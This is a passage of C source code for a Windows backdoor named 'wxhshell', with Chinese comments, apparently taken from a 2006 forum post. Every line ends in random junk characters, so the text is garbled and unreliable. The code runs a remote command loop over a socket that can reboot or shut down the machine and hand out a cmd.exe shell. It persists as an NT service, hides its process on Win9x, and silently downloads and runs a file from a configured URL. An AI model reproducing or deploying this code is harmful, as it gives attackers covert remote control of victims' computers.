  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8)=(eI$  
  } 6W{Nw<  
  else { 0ju-l= w  
LU+SuVm  
    switch(cmd[0]) { Bpm COA  
  WW{_D  
  // 帮助 '*65j  
  case '?': { dKCl#~LAI'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s~2o<#  
    break; 7<*0fy5nn  
  } _z8"r&  
  // 安装 VFx[{Hy  
  case 'i': { [Z"Z5e`  
    if(Install()) /*{'p!?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |>.MH  
    else @'):rFr@F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `4snTM!v&  
    break; IN<nZ?D#  
    } Xwdcy J!  
  // 卸载 i&^JG/a  
  case 'r': { 0kj5r*qA  
    if(Uninstall()) ,[6Rmsk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d'ZB{'[8p  
    else T#i;=NP"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x {Utf$|  
    break;  nOd;Zw  
    } |;xEK nF  
  // 显示 wxhshell 所在路径 JbL3/h]  
  case 'p': { Dy,MQIM|!  
    char svExeFile[MAX_PATH]; v%AepK&  
    strcpy(svExeFile,"\n\r");  YTZ :D/  
      strcat(svExeFile,ExeFile); Zi+FIQ(  
        send(wsh,svExeFile,strlen(svExeFile),0); Gf3-%s xA  
    break; 1fMV$T==K  
    } %J9u?-~  
  // 重启 !-^oU"  
  case 'b': { V^R,j1*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); " "m-5PGYo  
    if(Boot(REBOOT)) 9  @ <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d^nO&it  
    else { t0e5L{ QJ  
    closesocket(wsh); ui,!_O .c  
    ExitThread(0); IqFcrU$4  
    } I&#:/|{:5  
    break; YVa,?&i=N  
    } w(aj'i  
  // 关机 L(K 5f7\  
  case 'd': { R&;x_4dr^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GiX3c^V"1  
    if(Boot(SHUTDOWN)) MGMJeq vr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PN?;\k)"  
    else { COu5Tu^  
    closesocket(wsh); xWXLk )A  
    ExitThread(0); @ Do.Wgt  
    } aaCRZKr  
    break; Pg:xC9w4  
    } &z40l['4bz  
  // 获取shell 0$c(<+D  
  case 's': { e ar:`11z  
    CmdShell(wsh); U)Hc 7% e  
    closesocket(wsh); X>yDj]*4P  
    ExitThread(0); (wq8[1Wzup  
    break; #<"od'{U  
  } n nAtXVy  
  // 退出 ;YY<KuT  
  case 'x': { YR0AI l:L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o*/;Zp==  
    CloseIt(wsh); 7F0J*M  
    break; A :KZyd"Z  
    } )Cj1VjAg  
  // 离开 M0xhcU_  
  case 'q': { HM0&%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WwTl|wgvyI  
    closesocket(wsh); M>m!\bb%.  
    WSACleanup(); @@K/0:],  
    exit(1); Vdx o  
    break; `r-Jy{!y4  
        } _,60pr3D'  
  } /huh}&NNu  
  } 8g!79q\c4  
Qx,#Hj  
  // 提示信息 G4 :\6fu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z"yW):X  
} '}(>s%~  
  } Miw=2F  
!ITM:%  
  return; 0j4n1 1#  
} A|1xK90^XT  
KCbJ^Rln  
// shell模块句柄 >'q]ypA1  
int CmdShell(SOCKET sock) frPQi{u$  
{ Z3c\}HLY  
STARTUPINFO si; _[z)%`kay  
ZeroMemory(&si,sizeof(si)); ~K#92  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R,78}7B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8CRbo24"s  
PROCESS_INFORMATION ProcessInfo; [zN*P$U]  
char cmdline[]="cmd"; us?q^>u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DoFe:+_U3  
  return 0; ElpZzGj+  
} x3FB`3y~s  
r2+ZxMo|  
// 自身启动模式 Z T*}KJm  
int StartFromService(void) Ewr2popK  
{ kI!@J6  
typedef struct ~!mY0odH  
{ v{|y,h&]a  
  DWORD ExitStatus; WO9vOS>  
  DWORD PebBaseAddress; OAs>F"  
  DWORD AffinityMask; 3bezYk  
  DWORD BasePriority; )8g& lyT  
  ULONG UniqueProcessId; 2;>uP#1]  
  ULONG InheritedFromUniqueProcessId; GqsV 6kH  
}   PROCESS_BASIC_INFORMATION; `3ha~+Goo!  
9-{+U,3)  
PROCNTQSIP NtQueryInformationProcess; d9S?dx  
w=(dJ(7gu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BNjMq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H.XyNtJ  
"}1cQ|0a  
  HANDLE             hProcess; km9#lK  
  PROCESS_BASIC_INFORMATION pbi; 7K.],eo0  
hy;V~J#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); am3.Dt2\  
  if(NULL == hInst ) return 0; h>*3i#  
3GKKC9C6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k3t]lG p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ih.)iTs~%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bcwb'D\a  
c-&Q_lB  
  if (!NtQueryInformationProcess) return 0; >gL&a#<S  
.!L{yU,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z7XI`MZN^  
  if(!hProcess) return 0; l3^'bp6HQ  
9#1?Pt^{<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s 7w A3|9  
h@*I(ND<  
  CloseHandle(hProcess); ~a2|W|?  
%hBwc#^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q({-C  
if(hProcess==NULL) return 0; Tf!6N<dRXR  
VByA6^JR  
HMODULE hMod; ;Dp*.YJ  
char procName[255]; CfS;F  
unsigned long cbNeeded; ewn\'RLZ"@  
W f8@ B#^{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q%q+2P>  
g}Lm;gs!>  
  CloseHandle(hProcess); r ^*D8  
2^`k6V!  
if(strstr(procName,"services")) return 1; // 以服务启动 _~yd  
EX!`Zejf  
  return 0; // 注册表启动 xbw;s}B  
} q>K3a1x  
XaE*$:   
// 主模块 H)Me!^@[D  
int StartWxhshell(LPSTR lpCmdLine) =2( 52#pT  
{ J9tV|0  
  SOCKET wsl; K/Y"oQ2  
BOOL val=TRUE; \}n_Sk  
  int port=0; Oh10X.)i  
  struct sockaddr_in door; -&1P2m/46  
ws QuJrG  
  if(wscfg.ws_autoins) Install(); QX}JQ<8  
(U$;0`  
port=atoi(lpCmdLine); /%7&De6Xg  
JQej$=*  
if(port<=0) port=wscfg.ws_port; P"}"q ![  
V>obMr^5  
  WSADATA data; u' kG(<0Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B0Z>di:  
wE<r'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [+W<;iep  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X-" +nThMn  
  door.sin_family = AF_INET; #/H2p`5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~;]zEq-hG  
  door.sin_port = htons(port); TUwX4X6m  
N8kNi4$mp=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V'dw=W17V  
closesocket(wsl); m##!sF^k~J  
return 1; KrG,T5  
} NhTJB7  
>iG3!Td)y  
  if(listen(wsl,2) == INVALID_SOCKET) { -@]b7J?`k  
closesocket(wsl); :|ah u  
return 1; 6XCFL-o-  
} Ja&S_'P[  
  Wxhshell(wsl); &M3KJ I0L  
  WSACleanup(); yDZm)|<.  
Fkpaou  
return 0; 0:I<TJ~P  
#ucb  
} jy>?+hm?  
8b-mW>xsA  
// 以NT服务方式启动 }:$ot18  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NySa%7@CD  
{ #U w X~  
DWORD   status = 0; 8EdaxeDq  
  DWORD   specificError = 0xfffffff; .=-a1p/  
O/#uQn}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +03/A`PKrB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6;s[dw5T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2)0J@r'  
  serviceStatus.dwWin32ExitCode     = 0; 1k)pJzsc  
  serviceStatus.dwServiceSpecificExitCode = 0; bd}[X'4d  
  serviceStatus.dwCheckPoint       = 0; :HrFbq  
  serviceStatus.dwWaitHint       = 0; &\cS{35  
/joY? T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nnT#S  
  if (hServiceStatusHandle==0) return; +%klS `_  
,g0t&jITo  
status = GetLastError(); Np$&8v+en  
  if (status!=NO_ERROR) o-l-Z|)7  
{ FZ]+(Q"]:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YXqYIG.G  
    serviceStatus.dwCheckPoint       = 0; /!;v$es S  
    serviceStatus.dwWaitHint       = 0; dcq18~  
    serviceStatus.dwWin32ExitCode     = status; i0+e3!QU  
    serviceStatus.dwServiceSpecificExitCode = specificError; I#;dS!W"'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7mXXMm  
    return; IqepR >5t  
  } Z'!ORn#M  
~G=E Q]a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W4k$m 2  
  serviceStatus.dwCheckPoint       = 0; @K*W3&TO  
  serviceStatus.dwWaitHint       = 0; ~a_X 7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;&}z L.!jo  
} (jyufHm  
:HY =^$\  
// 处理NT服务事件,比如:启动、停止 xw_)~Y%\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (4ZO[Ae  
{ FAM:; F30  
switch(fdwControl) o^"OKHU,S0  
{ |sFd5X  
case SERVICE_CONTROL_STOP: &&LB0vH!J  
  serviceStatus.dwWin32ExitCode = 0; ir{ 4k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H7Z`aQC  
  serviceStatus.dwCheckPoint   = 0; { 29aNm  
  serviceStatus.dwWaitHint     = 0; dy5}Jn%L  
  { kn$_X4^?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HRM-r~2:-]  
  } m`q&[:  
  return; ew dTsgt'  
case SERVICE_CONTROL_PAUSE: L%\Wt1\[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iOb7g@=  
  break; m2l9([u=^  
case SERVICE_CONTROL_CONTINUE: )wD/<7;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _ gYj@ %  
  break; _Ds,91<muQ  
case SERVICE_CONTROL_INTERROGATE: A! HJ  
  break; cbm;45 L|  
}; 6H  U*,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZADMtsk  
} ZS]Z0iZv9  
a:HN#P)12  
// 标准应用程序主函数 ?)k ]Vg.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \.H9e/vU`  
{ Z^4+ 88  
+O9x8OPHW  
// 获取操作系统版本 +'olC^?5 }  
OsIsNt=GetOsVer(); )YAU|sCAi$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h2Th)&Fb>  
!'BXc%`x[  
  // 从命令行安装 O j:I @c  
  if(strpbrk(lpCmdLine,"iI")) Install(); X9FO"(J  
tH *|  
  // 下载执行文件 vbtZ5Gm  
if(wscfg.ws_downexe) { S|LY U!IWZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $^?VyHXvY  
  WinExec(wscfg.ws_filenam,SW_HIDE); _JNYvng m  
} r`EjD}2d  
>s"/uo  
if(!OsIsNt) { &zEBfr  
// 如果时win9x,隐藏进程并且设置为注册表启动 =GF=_Ac  
HideProc(); h:?qd  
StartWxhshell(lpCmdLine); ?(K=du  
} y6[le*T  
else ]plp.f#av  
  if(StartFromService()) c@}t@k  
  // 以服务方式启动 >ZG$8y 'j  
  StartServiceCtrlDispatcher(DispatchTable); qs bo"29  
else 9=T;Dxn  
  // 普通方式启动 ;A7JX:*?y=  
  StartWxhshell(lpCmdLine); xypgG;`\  
SvvNk  
return 0; w <"mS*Q  
}
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只看该作者 1 发表于: 2006-10-10
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